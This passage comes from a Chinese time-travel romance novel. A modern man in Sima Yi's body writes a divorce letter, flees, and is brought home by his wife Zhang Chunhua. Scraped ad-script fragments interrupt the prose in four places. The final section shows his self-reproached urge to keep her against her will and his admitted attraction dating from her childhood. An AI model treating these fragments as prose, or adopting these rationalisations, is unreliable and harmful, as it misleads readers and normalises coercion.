司马毅不以为然,任性又道:“我是腿瘸了,又不是腿断了。这不能如常行走,还不能如常蹦跳一下吗?” 横槊语噎。 马车车轮又骨碌骨碌地顺着来路回到司马府。到门前下车,司马毅刻意走在最后,一边跟着前面的张春华几人往门内进,一边不时地回首观察对街的几个挑筐的小贩。 出府前,也是他们紧盯着自己的。 眼见自己进了司马府,那几个摊贩开始收拾各自的箩筐、扁担,准备挑起来,趁着太阳落山之前,离开归家。 横槊本等在门边,欲落到最后面等待关府门。 但是,就在他半阖上府门的时候,司马毅突然凑过来,接替他,目不转睛地透过门缝,直到看着那群摊贩消失在视野里,才不慌不忙地将宽阔的府门完全阖上。 横槊一脸不解地盯着自然而然转身的司马毅。 司马毅尴尬地假咳了咳,装作辛苦劳累地拍了拍手,感慨道:“这大门还有几分沉重呢,哈哈、哈哈……” 横槊更觉得自家公子怪怪的。 之后的很长一段时日,司马毅倒是依旧安生。只除了他还是不怎么喜欢读书,见到有热闹就要凑上去。 张春华由韵竹陪着一起去花圃里剪桂枝,司马毅便推着自己紧随她们,尽管嘴上有说有笑,但目光紧盯着地上那片棕黑的泥土,神色晦暗。 张春华和韵竹、横槊一起将采来的桂枝放入木盆中清洗,司马毅也上前帮忙,不过他只认真地磨搓了一会,便开始有意无意向周围其他人泼水、逗乐。 最后,四人身上都湿了。 到晒干桂花缝荷包的那天,司马毅就一动不动地坐在张春华身边,目光炯炯地一会紧盯张春华俏丽的侧颜,一会又望着张春华翻动流利的巧手兴叹。 他简直不敢想象,一个如自己表妹般年纪的小姑娘居然琴棋书画、武艺女工样样精通。明明只是平展的布,在她的一针一线下,很快就变成一个精致的荷包,不仅馨香四溢,还绣有栩栩如生的梅兰竹菊,以及,桂枝。 张春华特地多绣了一个有桂枝的荷包,用的就是司马毅最先挑选的紫绸。上面的桂枝除了好像有生命之外,还缠了一朵春日的桃蕊。 桂枝……司马毅猜,张春华一定还在思念那个最原本、少年的司马懿。 直至五六个荷包全都做完,先前在布庄中购买布匹定制的衣裳也都裁制好,已经是秋末冬初。 凛冽的寒风像是刀刃一般,犹在清晨与夜晚,毫不留情地凌迟着众人。 司马毅睡在床榻内里,等待还没有洗漱完的张春华爬床、就寝。他怕张春华冷,偷摸摸将已经捂热的手掌,越过中间横隔的被衾,塞入张春华的软褥之下。 待张春华回到床边,吹灭了近处的烛火,掀开被褥平躺进去。司马毅的手掌已经离开,但仍有源源不断的温热传来。 在司马毅看不清的光影之中,张春华面上的神情一滞,而后双颊渐渐染上绯红。 良久良久,久到夜静得仿佛连虫鸣鸟叫都细不可闻,更不必说张春华的呼吸与动作。 司马毅有些怯生地询问:“春华,你睡了吗?” 张春华似乎将脸半埋在被衾间,嗓音闷闷的,有几分软糯、悠远,回答:“尚未。” “那你介意同我说说话吗?”司马毅又道。 张春华轻叹,“你说。” 司马毅便扭转了一下身形,整个人平躺着,面对最高处的帐顶,目光纵远,双臂从被褥间伸出来,压着被沿,交织在自己胸下。 司马毅缓缓地开口:“距离我们上次出府、去往集市,应当有两月了吧?” 张春华微“嗯”。 司马毅接着道:“若是曹操还在派人盯着我的话,是不是我们外出的消息,已经被他知晓?倘若我期间要是有什么错漏之处,他是不是已经该派人来问我的罪了?” “当是吧。”张春华语气平淡地回答,“不过,曹公如今当在北面乌桓之地,即便知晓了你的消息,饶是觉得有不妥之处,估计也分身乏术、难以处置。” “况且,你那日,我记得并无什么不妥。”张春华从被衾之中探出首来,转眸看向身侧的司马毅。 因为光线晦暗,隐约只有一个模糊的轮廓。司马毅的侧颜线条清晰,眼眸幽邃、鼻梁挺拔,双唇显峰露谷,下颚线延伸入颈项,至颈脖中间,又有极高耸、清晰的凸起,像一座高峰的尖顶。 张春华望之愣了愣,而后羞赧地撇过脸去。 其间,司马毅好像心虚地干笑了两声。 张春华来不及思考他为何心虚。他又在说道:“春华,如果那日我们放晚雪逃脱,曹公知晓了我装病的事情,怪罪下来,或许看在我父亲、兄长的面上,不涉牵连,只惩处我一人。倘若我死了,你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 现在该怎么办?” “丧夫之妻,又无子嗣,当被遣散归家吧。”张春华自觉客观地回答。 “那如果我没死呢,而是被下了牢狱,十几、数十年不得归家,你又当如何?”司马毅的追问,不知为何变得情切,人也侧过身,完全地凝视着面前的张春华。 张春华蔚为不解地回眸与他对视一眼,尽管看不太清,但张春华隐约就是觉得他目光焦急、炽热,看得张春华有些不好意思。 张春华又回过头,继续顺着他的假设作答:“夫君既然没死,我当留在家中,无论十几还是数十年都该如一日地等待夫君归家。” “可等我回来,你已经老了。或许,我一辈子都回不来,你就要留在没有任何亲眷倚靠的司马府,蹉跎终身吗?”司马毅语气更加激动。 张春华忍俊不禁,但又微微叹息,“我既已嫁你为妇,本应是如此。” “春华。”司马毅突然郑重地又唤张春华的闺名,沉吟了半晌,继续说道,“如果我死了,或者是不见了,我希望你不要等我,就直接离开司马氏,回自己的家去,或者任何你想去的地方。” “那也要仲达你给我休书才行。”张春华憋忍不住又轻轻地笑了一声,“若是你死了,倒也好说,我丧夫,做个孤寡。可若是你没死,倘若没有休书、或者和离书,我就一辈子会是司马氏的内妇。” “我离不开司马氏,也回不去家。”张春华倏尔又怅惘起来。 司马毅闻言一怔,接着定定又道:“所以,如果我想要放你自由,就得写休书或者和离书吗?” “律法本是如此。”张春华不咸不淡。 “可春华你不是说如今的法令废弛吗?”司马毅说着说着,也哑然失笑。他忆起自己责备张春华杀人、说她是违法犯罪的时候,她如此回怼自己。 张春华听了,有几分羞愤,但转瞬跟着也笑,又在回答:“律法确实是废弛,可我自幼受教导便认定了这样的事。除非有人抢掳或者胁迫,不然我定是不能在为他人妇时重获自由、乃至改嫁他人。” “春华,人该多为自己想想,自私一些。”司马毅慨叹一声,情不自禁地抬起左手,越过阻隔的被衾,落在由被褥遮蔽,张春华瘦削的肩上。 即使没有肌肤接触,但是肩头、胸上突然一重,张春华还是觉得羞赧、不自在起来。 这样,司马毅算是在抱她吗? 张春华呼吸微微变得轻缓、谨慎,小心翼翼地回答:“我本也是个自私的人。从前,只在意父亲与自己。嫁给了你,才不得不多在意你一些。” 你是我的夫君啊。 张春华不敢说出来,只能比着唇形,无声。 司马毅又是一滞,抚上张春华肩头的五指无限地收紧、用力,直到张春华轻声“疼”,司马毅才诚惶诚恐地松开手,而后急忙地背过身去。 司马毅颤声说道:“春华,夜深了,睡吧。” 张春华颔首,继而恍然意识到司马毅看不见,又“嗯”了一声,也转过去,背对司马毅。 待两人的呼吸又恢复安静和平稳。 张春华突然再次开口:“仲达,多谢。” 多谢你为我提前温暖了被褥。 司马毅没有回答张春华,仿若睡着了,可是隔了很久很久,他才怅然地睁开眼眸,略为湿润,笑叹:“我最后也只能做这些了。” “春华,后会无期。” 20. 第二十章 第二日,当熹微的晨光洒出一缕,蔓延在床边,张春华便因一丝寒冷,和感觉身边空落落的而不安转醒。 她极不情愿地翻了翻身,又眨了眨眼,轻轻呢喃一句:“仲达……” 可许久之后,便是连平稳的呼吸声都未响起来回应她。 张春华隐约觉得不对,猛地睁开杏眸。 只见横隔的被衾之后,半张床榻一片平整,没有任何突起、褶皱的痕迹。 张春华伸手摸过去,只余无尽冰寒。 “仲达?”张春华复又轻唤一声,自床头坐了起来,侧首向外边望去。 又见司马毅寻常每日要坐的轮椅,仍旧摆在朦胧的屏风之后。 “没离开屋子的话,是去起夜了吗?”张春华一边自言自语,一边随手抓了附近衣桁上的外衫,包裹着自己,往内室其他地方寻去。 眼瞧着哪哪都没有司马毅的踪迹。 张春华仍有些困顿地打了个呵欠。她以掌心捂嘴,闭眼又睁开、垂眸之间,望见自己的妆奁上不知何时摆了一封书函。 张春华顿时清醒不少,走到妆奁前,拾起那书函来看。 书函的外封上,非是写着猜想之中的“春华亲启”,而只简单直接地写了三个字“和”什么什么。 由于那两个字体,张春华实在没有见过,一时也不好妄加揣测。 只能打开书函来细看: 春华亲启: 见字如晤。 今建安十年冬初,我司马懿自愿与张春华绝婚,自此一别两宽,勿复相见。 司马懿字。 其实,信的内容很多字迹也是张春华联系前后,猜测出来的。毕竟“亲启”的“亲”字被司马毅写得太过简单,“十”又只是一个简单的横竖交叉。 便是他写自己的名字“司马懿”,“马”也做了简化,还有“懿”字,他像是先写错了,不知写了个什么,用墨笔涂抹得漆黑一片,而后勉勉强强,再结构奇怪地拼出了一个完成的“懿”字。 就连最后的落款,他也是同样先写错了“懿”字。 所以,这封书信的外面写得是“和离书”三字吗? 司马懿笔下的“离”和“书”字竟是这样奇怪的形状。 但张春华已顾不得怀疑司马毅的奇怪,一边不由自主地回想自昨夜往前,司马毅近来一些特别的言行。比如说,问她如果他不在了,她要怎么办?她摆脱他的唯一方式是他一定要写休书或者和离书吗? 他还给自己裁制了许多布衣。 另一边,张春华对着门外大喊:“韵竹、横槊——” 张春华不敢掉以轻心,放下书函便是立马穿衣、挽发,简单地整理形容之后,韵竹已是睡眼惺忪地端着热水进来供张春华梳洗。 韵竹无奈地说着:“夫人与公子今日起得这样早吗?” 张春华一反常态,匆忙地接过韵竹手中的铜盆,放在妆奁上,拿着布巾便是迅速地擦洗起来。 她甚至还不忘寻找空隙询问:“横槊呢?” 韵竹迷蒙地指了指外面,回答:“在门首等着吩咐呢。” 张春华也没管韵竹,洗完脸,越过韵竹,就是往外室门边走去,猛地打开门扉,对着面前被自己突然到来吓了一跳的横槊吩咐道: “去找马夫问一问,你家公子昨夜有没有要车马?若是要了,大概何时?” 横槊不明所以地眨巴着双眼。 张春华催促他,“快去啊。” 横槊虽然依言小跑走了,但是一边跑,一边喃喃说着:“少夫人为什么要问昨夜公子有没有要车马?这大半夜要车马做什么,公子昨夜不是很早就睡下了吗?难道、难道,他不仅没睡,还要车马跑了吗?天啊……” “王马夫——”横槊还远在张春华与司马毅居住的院落,便是扯高了嗓子哀嚎一声。 这一声哀嚎把韵竹也彻底叫醒了。 韵竹揉了揉眼睛,环顾内室,只见除了自家夫人睡过的痕迹,不仅没见到司马毅的人,连他平日里要用的被褥都十分整齐,以及……那封被张春华随手摆在妆奁上,摊开的书信。 “和、和离书吗?”韵竹颤声大叫,探首向外室的张春华望去,“公子他这是要抛弃夫人吗?可是就算抛弃,不是该赶夫人离开司马府,怎么他自己跑了?” “或许是他自己要跑,不想拖累我,才写了这封和离书。”张春华不徐不疾地回答。 “啊?”韵竹更是错愕起来。 张春华则是静立在外室冥思苦想。如果司马毅真的要逃的话,会逃去哪里?从前依稀听他说过,他想去荆襄来着? 荆襄在南。那么,他倘若想以最快速度离开许都,就该选择从南城门走。即便他或许已经走了很久,但是夜里城门不开,瞧现下的日头,估计还有一会才到开城门的时间。 去追的话,还来得及。 不久,横槊便踉踉跄跄地跑了回来,上气不接下气,但又颇为急躁地说着:“少夫人,公、公子他确实在约莫一个时辰前要了骏马出府,但具体去了哪,王马夫与门僮皆不知。” “夫人,要去追公子吗?小的已经找王马夫要了三匹快马,就等在府门之外。” 张春华惊叹于横槊的体贴和考虑周全。 她未有任何迟疑,便径直往屋外走去,边走边道:“南城门。若是我们此时赶去,即便途中城门已开,但只要我们的速度能快过你家公子,定能在城郊将他拦下来。” “好。”横槊紧跟着张春华。 韵竹匆匆也追出来,呼喊道:“夫人、横槊,等等我。” 待三人离开司马府,外面的天光已是乍破。寻常在司马府周围挑筐的小贩虽还没到,但周围已可见其他形形色色为了生计来往的民众。 三人驾马疾驰往南城门而去。 越靠近城门处,人烟越是如织。遥遥地便可望见,城门已是大开,有不少人拥簇在南城门前,等待守城的将兵给他们放行。 即是乱世,天灾人祸、民不聊生,却非战时,许都还算安宁祥和,因而为了照顾难民,往往出入城池不是很看重文牒。 再加之司马毅的父亲司马防作为京兆尹,本就有发布通关文书之能,张春华并不怀疑司马毅能否走出许都城。 因而,她想都没想便与横槊和韵竹道:“我们出城门,直接往城郊密林前的矮坡等他。” “可夫人,我们没有文书。”韵竹有几分忧虑地说道。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 横槊欣然,“少夫人别担心,小的有办法。小的在司马府还算常在外面露面,只要说出家主的姓名、官声,再给些钱财,出城不是问题。” 张春华对横槊露出欣赏、赞叹的目光。 就连韵竹都不吝夸赞道:“横槊,没想到你还这么有用处呢。” 横槊得意洋洋。 他可从来不是普通的书童,而是在书童的外表之下,是司马懿十多年养在身边的心腹。很多司马懿不能直接出面去办的事情,都是他来为之。 三人疏通了城门守卫,越南城门而出。 至南郊密林的矮坡上,天际已经缓缓升起一轮明黄的圆日。圆日破开浓厚的云层,将天地、山川、草木,全都照亮。 韵竹气喘吁吁,感叹总算得以闲隙歇脚。 横槊却仍旧焦急、紧张万分。他站在矮坡的尽头之处,目不转睛地往下望去,生怕一眨眼便会错过自家公子的踪迹。 张春华就静静地站在两人之间。 其中,她想了许多。若是自己猜错了的话,怕是会错过寻找司马毅的最佳时机,恐怕此后再没机会与司马毅相见。 若是如此,自己就接了他的和离书,与他一刀两断便是。 可是不知为什么,如今静下心来再想起那封和离书,张春华总觉得自己的心里难掩几分失落。 他走了,倒是把自己撇开得干净,可是自己一时之间,还不能完全忘记记忆中那个翩翩少年。纵然不为少年,这一载有余来的朝夕相处,张春华也难免会有不舍。 既非夫妻,亦是有相濡以沫之情的至交。 不知过了多久,张春华也猛然想不起自己思绪徜徉到了什么地方。前方的横槊突然挥手,着急道:“少夫人,是、是公子!” 张春华和韵竹便顺着他的话音往前,向矮坡下望去。 实在是憋忍不住,韵竹才“噗嗤”一声笑了出来。 张春华也总算破颜展唇。 他们着急寻找的那位司马氏二公子,生怕赶来得晚了,与他错失。结果人家倒好,坐在一匹高头大马上,东倒西歪的。一时马头偏了,他也不能及时拉正,只能仓皇地喊着:“喂、喂,马大哥,你这是要去哪,往前、往前啊!你再乱走我们就得撞在山坡上了。” “你家公子不太会骑马?”张春华忍俊不禁地瞥了一眼身侧的横槊。 横槊面色难看,像是被人丢尽了自己的脸面,艰难回答:“从前明明马术精湛的,莫非是失忆,连基本的君子六艺都忘光了?” 韵竹的笑声更甚。 她没忍住,还站在山坡上遥遥地招手,呼喊:“公子,你要去哪里啊,为什么不带上我们和夫人?” 山坡下的司马毅闻声,惊恐地抬眸。 只一瞬,他又低下头去,摸着座下棕马的脑袋,碎碎念:“马大哥,要不你现在争气一下,快点跑?不然我等会被抓回去,可就要倒霉了。” 然而,胯/下的大马纹丝不动。 司马毅因为害怕,也根本不敢强行策马。 张春华莞尔一笑,再次翻身上马,与韵竹和横槊柔声道:“走,我们去接你们公子归家。” 司马毅还恰好听见了,“……” 21. 第二十一章 朗朗阳华之下,四野清明。 司马毅单独一边,张春华、韵竹和横槊三人在一边,面对着司马毅,挡住了司马毅的去路。 司马毅望见他们尴尬扬笑,抬起手,怯懦地招呼道:“春华、韵竹,还有横槊,你们怎么来了?真巧啊,哈哈哈……” 张春华的面上却是没有丝毫动容,平静地注视着他,像在看街边偶遇的普通小玩意。 韵竹则是跟着他笑,顺着他的话茬,阴阳怪气,“是啊,公子,真巧。” 横槊欲言又止,表情无奈,说着:“公子,你、你怎么……唉。” 司马毅手足无措地摸了摸脑袋,接下去也不知该说些什么了。 良久,久到时间仿佛静止,张春华倏尔轻声:“你要去哪,就这样不辞而别?如今,我们寻到你,你可要跟我们回家?” 回家吗? 司马毅莫可奈何地想着,到底哪里才是他的家呢,许都司马府吗?可那是原本的司马懿的家,自己虽然住在那里,但无论父母兄弟,还是亲戚朋友,乃至发妻……春华都不是他的。 他自己的家在遥远的一千八百多年后。 司马毅长叹一声,静默了半晌,只望向张春华,郑重其事道:“春华,你随我来,我有些话想单独和你说。” 话罢,他欲驱马往张春华三人来处的矮坡上前行。 但他实在控制不好方向,索性,一拍马首,放下辔头,翻身下马,碎碎念道:“这什么破交通工具,一点都不轻便舒适。” 他延手对张春华指了指矮坡上。 张春华见他下马,自己也翻身下马,将自己坐骑之上用于牵引的辔头交给一旁的横槊。 横槊顺从接过,韵竹却是隐有不满,抱怨:“公子,你有什么是婢子和横槊不能知晓的,为何要特意支开我们,只与夫人言说。” 张春华闻言,略瞋韵竹。 司马毅则是故意呛她道:“我与夫人说体己话,你们也要听吗,那是不是以后我们夫妻同房、夜间同眠,你们也要陪同一起?” 韵竹顿时哑口无言,只能做着鬼脸,目送他们夫妇愈渐走远。 到了山坡上,司马毅确定韵竹和横槊倾耳都偷听不到,以及周围没有其他人,方才不偏不倚地望向张春华,歉疚抿唇扬笑。 张春华依旧波澜不惊地看他。 司马毅嗫嚅了片刻,努力鼓起勇气,主动说道:“春华,对不起。但是,我不想回去。” 张春华启唇,欲要反驳他。 司马毅却不给她说话的机会,继续往下道:“我知晓你一定不支持我。但我也想与你说说我内心的彷徨与怯懦。” “我失忆了,不再是从前的司马懿,很多事情,包括才学我都难以回忆。我自知没有办法承担起,从前属于司马懿的责任和抱负,我甚至没有办法面对你为了我,杀过一个无辜之人。” “可那人本不无辜。”张春华随之小声。 司马毅顿了顿,又道:“即便她确实是曹操派来监视我的细作,可在她没有伤害我之前,我就让她遭受了伤害,这本就是我的过错更大。在法律上来说,过失杀人,也是罪啊。” “现在是只一个晚雪。”司马毅还记得那个少女的名字,“往后呢,万一还会有十个、百个、甚至上千个晚雪,难道我们每个都要杀吗?” “春华,我做不来。在我的认知之中,这个世道该是和平安宁,人人受律法约束、安分守己。我没有办法杀人,更不愿意看见你为了我杀人……莫说是杀人,就今日你让我为了逃跑打横槊一拳,我都做不到。” “我只想安生地活着。”司马毅凄凄地又笑,“可是自从看见晚雪死在我面前,我才明白,这个世道实际上与我想得并不一样。就算我们不再杀人,若有一日,别人要来杀我们怎么办?春华,我没有能力保护你,更不忍看着你死。我自己也不想死。” “所以,春华,放我走吧。纵然你觉得我胆小如鼠、胸无大志,我也毫不在意。我只想寻个山野乡村,平静地度过余生。你离开我,也暂时不再会有被牵扯的危险。这于你于我是双赢的局面。” 司马毅说完自己要说的,郑重且期待满满地望向对面的张春华,怕张春华难过,还刻意堆上满面的笑容。 尽管他的笑容明朗,被阳光映衬得温暖、和煦,可是张春华仍旧觉得隐藏在他晦暗的眼眸之下,是无尽的失落和哀伤。 张春华张了张唇,沉吟了片刻,才缓声说道:“可是你逃了,事情未必会如你所愿。曹操心狠手辣,若找不见你,即便有和离书在,也不见得会放过我。就算我提前也逃了,回到粟邑县家中。但倘若曹操追来,携着我张氏全族要一起株连,你又让我如何应对。” “纵然我没事,张氏也没有事。可是你们司马氏呢,饶是曹操惜才,会看在你兄长的面子上,勉强保全司马氏。可是自此有了芥蒂,你父亲、兄弟不再受到重用,乃至被其他人排挤,你又于心何安?” “更更何况……” 张春华的话还没有说完,司马毅下意识地轻声打断她道:“他们又不是我真的父亲、兄弟,真到了生死攸关之际,我还管他们做什么,只要他们不会死,不就行了?” 张春华没听清,反问:“什么?” 司马毅摆手,心虚笑道:“没、没什么。” 可倘若他们是自己的亲生父亲和兄弟呢?司马毅偶尔也不是没想过,或许穿越成司马懿,是他注定的前世。纵然现在他与司马懿一切有关的人事物还感情不深,可往后感情深厚,真就将自己当作历史上的司马懿了呢? 司马毅不敢设想这种可能的结果,故而更加想逃了。 他望向矮坡之外,广袤无垠的天地。 张春华觉得他奇怪,但也没认真探究,而是接着自己原本的话茬,继续说下去,“你以为你逃了就一定能得以安生吗?” “若是曹操狭隘,颁布诏令,全天下通缉于你,你又怎能安生?”张春华苦口婆心,“即便曹操宽容大度,不与你一般见识,纵容你逃亡、躲避。可是天下之乱,非一州、一隅之乱,总有一日战火会蔓延至荆襄,到时民不聊生、哀鸿遍野,你又如何能独善其身?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “仲达,你从前和我说,你总会出仕。虽然我知晓你忘了、不记得了,如今的你只求安宁和乐。可是若没有无数像你这样有能、有志之士匡扶天下,这天下又要到何时才能安宁和乐?” “仲达,你我生在乱世,若不主动为之,只会身不由己,沦为他人刀俎之下的鱼肉。” “可我只要是逃了,”司马毅急切地反驳,“荆州乱了,我便去东吴。东吴也乱了,我就再回到许都。这乱世纷扰,同时之间,总有一处安生之地。” 但此话刚刚说完,司马毅便意识到不对的噤声。 若是要用一生去东躲西藏,这和如今又有什么区别? 司马毅心虚地看向张春华,哀婉地又道:“春华,我不知你明不明白。我失忆了,我没有见过从前动荡的这天下,所以,我永远无法与你抱有同样的心思,想要在这乱世主动成就自己的一番事业。” “我早就不再是从前的司马懿了!”司马毅一字一顿,极其认真地说道。 “那你想知晓什么,我带你去看。”张春华也有几分着急起来,听了司马毅的话后,立马回答,还往前上了一步。 望着张春华炯炯却哀伤的目光,司马毅一时怔愣地说不出话来。 “你、你……”他惊讶了半晌。 张春华轻轻地又道:“你敢在这个时候离开许都、逃离司马府,想来是确定曹操不再如从前那般紧盯着你。既然我们有了些许自由,你不是想去荆襄看看吗?待过些时日,就去看看好了。你失忆了,不再记得这天下如今是什么样子,那我就带你去看。如果这一遭,你仍旧觉得你往后可以一辈子东躲西藏,我就再不拦你,到时桥归桥、路归路,你我各行其道,不再干扰。” 张春华最后一句,坚定不移,说得是铿锵有力。 司马毅又是一愣,“春华,我……” 他也不知该如何继续反驳说出了这些的张春华。张春华确实已经对他做出了极大的让步。甚至,为此,他心疼起张春华来,一个柔柔弱弱的小姑娘居然日夜要为自己这个大男人操心。 “可是,我们为什么不现在走呢?”司马毅指了指山坡下,又指了指自己和张春华,不明所以道,“我们既已出了许都这个牢笼,何必再把自己束缚回去,万一错过了这个机会,下次机会难得呢?” 既然要逃,现在就逃好了。 张春华嗔怪地望向他,嗫嚅着双唇,略为嫌弃地小声,“就仲达你如今的御术,难道要我策马带你同骑吗?况且,既是偷偷游学,我们两个离开就好,还得留韵竹和横槊在许都照看。” “游学?”司马毅忍俊不禁,倒是没想过这个特别的说法。 “那现下我们可以回家了吗?”张春华无奈地又望司马毅。 司马毅缓缓点头。 张春华率先往前走去。 望着她坚韧的背影,司马毅跟着跟着,恍然想起什么,立马追上前去,怯怯地又道:“说来,春华,我写的那封和离……不,书信,你看到了吗?” “看到了啊。”张春华语气稀松平常。 22. 第二十二章 四人四马,悠闲自适地从许都南城郊回到城中司马府,已是日上中天。 司马毅巍巍不稳地行在最后,于门首处回眸,特意观望了片刻那几位脸熟的摊贩。 他们虽是目光如炬地注视着自己,但因为自己的马术磕碜,走得又慢又不稳,倒是没露出什么惊讶、锐利的神色。 司马毅随张春华等人回到司马府自己居住的院落。 横槊主动要去斟茶,询问司马毅和张春华道:“公子与少夫人奔波了一上午,该都口渴、疲乏了?小的去煮瓮热茶,你们好生歇歇。” 张春华闻言,感激地轻“嗯”。 紧接着张春华之后,韵竹毫不客套地自己也坐了下来。不过她还是知晓自己婢子身份的,没坐在张春华对面的茶案前,本该属于司马懿的位置,只是随意寻了一隅,拖了个软垫,跪坐下去。 韵竹一边锤自己的双腿,一边抱怨地说着:“公子下次可别一个人突然跑了,自己马术不佳,万一不慎摔倒便罢了,还惹得婢子等人跟着夫人一起担忧。” “夫人她早晨天刚蒙蒙亮便惊醒了。”韵竹心疼地望张春华又道。 张春华倒是满面的平静。 司马毅原先惊叹于韵竹的自顾自,自己还没坐,她就先坐下来,正想逗弄她两句,听她主动说起张春华的事情,一时之间便也忘了玩闹,露出愧疚的神色来。 司马毅刚在张春华对面坐下。 韵竹又恍然想起什么,“啊”了一声,接着匆匆地站起来,边跑进内室,边说道:“还有公子你自己胆小逃便逃,怎么还写那样的东西给我们夫人难堪。这和离书一旦上了印信,纵然不是夫人的错处,旁人也要诟病夫人是个弃妇了。” 韵竹迅速地把那张还摊开的和离书拿了出来。 她蹲身,摆在司马毅和张春华二人面前,倏尔犹觉不对,更冷肃了面色,郑重询问司马毅,“公子,你不会真想与夫人和离吧?” “你们往日里不是挺相敬如宾的吗?还有,即便你至如今还没与夫人圆房,但夫人从未嫌弃过你。说到底也同床共枕了这么久,你让夫人以后如何辩驳自己的清白。” 韵竹说着说着,竟是泫然欲泣起来,冷冷地怒瞪司马毅,接着搂住张春华的纤腰,呜呜咽咽地低声。 张春华轻抚了抚韵竹的脑袋,算是安慰她。 司马毅手足无措地急切反驳:“我没想真同春华和离,只是、只是,我怕我贸然离开拖累了她。我……” 司马毅着急地说不出后面的话。 可前面的这些已足够安慰韵竹,韵竹蓦地又从张春华的怀中抬首,警惕且怔怔地看向司马毅,见他虽然慌张,但表情真挚,良久才道:“公子,你没骗婢子吧?” 司马毅轻叹:“我骗你做什么?” “春华……”司马毅以为此事他最好还是直接与张春华解释,便将目光最后定在情绪一直没什么波澜的张春华身上。 他刚想开口,又瞥见韵竹,觉得十分碍眼,便想了想,说道:“韵竹,你也累了,没事就先回自己的屋子里休息……” 他话还没说完,韵竹喃喃:“婢子不累。” 司马毅顿时气噎。张春华则是憋忍不住地微微扬唇。 司马毅没好气地又道:“便是你不累,我与春华也累了。还有,我这大半日没有吃东西了,饥饿得紧。你闲着去帮帮横槊,拿些糕点来,顺便告诉横槊,你们不必急着回来。” 韵竹愣了愣,一时没动。 司马毅微怒道:“快去啊!” 韵竹这才后知后觉地明白、反应过来,从张春华怀里,爬起身,茫然却迅捷地出了二人的寝居。 司马毅不忘命令她,“把门关上。” 韵竹呆呆愣愣的,竟是比以往都要乖顺、听话,软软地说了句,“哦,好。”就转身带上门扉,而后自己的身影消失在门扉之外。 韵竹还是离开二人寝居好远才回神,她虽然斥骂自己怎么能在张春华的事上被司马毅拿捏了,但是犹记得司马毅说他和张春华不会和离。 韵竹勉为其难还是原谅司马毅了。 寝居内,司马毅站起来,到门边,先是确定韵竹走远了,才又回到张春华面前。 他高大英伟的身躯一瞬间便遮挡了张春华面前所有的光。张春华觉得眼前太暗了,无奈地抬眸睨了睨司马毅,以眼神示意让他走开一些。 司马毅不为所动。 张春华也没强求,见他一直不动,索性自己就借着那晦暗的光芒,抬手,欲再去拿了那封和离书来读。 她刚有动作,司马毅便几乎与她同时去抢那封和离书。但到底,张春华抬手快些,司马毅虽然追赶上了,不过也就只是将她的手一起按在了和离书之上。 少女的柔荑细腻,却微有些冰寒,大约是在外待久了的缘故。 司马毅顾不得其他,下意识地收拢五指,握紧那纤细的柔荑,努力想要将自己掌心的温热传递过去。 张春华顿了顿。她能感受到那股不属于自己的暖流,顺着自己的手背上每一寸肌肤钻入自己的骨血,而后在全身流淌、游走。 张春华不自在起来,面上也微微发热。 她抽了抽自己的柔荑,想避开司马毅的触碰。可司马毅抓她很紧,乃至她越想逃跑,司马毅就抓得越紧。到最后,更是直接将她的柔荑从桌案上拿了起来。 张春华小声地提醒:“有些疼。” 司马毅后知后觉,当即撤回自己的五指。他一瞬间怒骂自己的孟浪和鲁莽,可下一瞬便全都忘了,满心只有那封还没被张春华再拿起来的和离书。 现下正是好机会! 司马毅率先拿起和离书,而后不等张春华反应,三下五除二将它撕成碎片,为防止还留有一丁点的残余,他更把碎片扔进了不远处的火盆里。 冬日到了,古人为了驱寒,都会燃起火盆。 张春华望之目瞪口呆,稍稍惊愕一声:“诶……”可她终究未说太多,直到司马毅得意洋洋地拍打着手掌,重新走回来。 张春华才莫可奈何地又道:“何必撕了呢?若是下次再需要的时候,也省得再写了,只需要添上印信就行。” “所 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以,我没添上印信,它就不算生效?”司马毅的关注点却是与张春华不同,听张春华这么说,顿时喜笑颜开起来。 张春华微微颔首,紧接着想了一下,又忍俊不禁道:“不过你的字迹说来即使加盖印信也未必有用。这和离书是要上交官府留存的,官府若是不认得你写的许多字,大概也不会认。” 毕竟,司马毅的和离书中许多字形都很奇怪。 “我写的字?”司马毅不太明白地重复,而后恍然大悟,原来是自己一直喜欢去写简体字,完全忘了在古代都是书繁体字的。更有甚者,自己的楷书,在如今尚不流行,比较多的还是隶书。 司马毅第一次觉得自己身上的古今差异有如此之大的好处。 他又坐回张春华对面,但仍觉得遥远,便拖着自己的软垫,坐到张春华身边,郑重其事地说道:“既然我现在不逃了,也就不必为了怕牵连你写下和离书,所以,无论是字形不对,还是没有加盖印信,这和离书都没有任何意义。” “万一你以后还要再逃呢?”张春华可不像司马毅一样确定。 司马毅语噎了噎,这才想起自己说不定还是会再逃。但是在那之前,若是每日每夜自己都能看见张春华,还让自己准备一封随时都可能生效、与张春华断绝关系的和离书在身边,他只会觉得自己愚不可及。 司马毅觉得好像有什么极强大、茂盛的植物,在自己的心里生根发芽之后,渐渐有破土而出之势。 那强盛的生命力,是自己努力想要遏制却也遏制不住的。 司马毅定定地凝视着张春华。她比十五岁的时候长大了一些,五官也更疏朗、精致,不再是轻易可以瞥见的稚气面容,乃至有几分成熟的味道。 过了今年除夕,到明年年节,她就该十八岁了。 十八岁在未来已经成年,无论是身体还是意志都发展到一个足够的地步。她完全有自己的思考,可以做自己的主。 饶是司马毅一时情不自禁、兽性大发地欺负了她,若是她同意,司马懿便也不用再付法律责任。 司马毅又想去抓张春华的手,但手抬起刚伸远到半空便将将顿住。司马毅抬起另一只手,毫不客气、犹豫地拍打自己先一只手。 “啪”地一声,惊了张春华一跳。 张春华眼瞧他先一只手掌上泛起浓烈的红。司马毅暗骂自己道:“卑鄙、无耻、下作!就算人家成年了,和你又有什么关系!你本不是她真的夫君,还是看着她长大的,如何可以有如此禽兽的想法、乃至行径?” 你该放她自由。 可是,司马毅你知晓你自己做不到。 即便这畜生一般的思绪生于她幼年,但是你对她在她成年之前从未有逾矩之行。她长大了,原本的司马懿也不会回来,为什么你不能把她强留在身边? 司马毅的瞳仁,一会清朗,一会又幽邃。 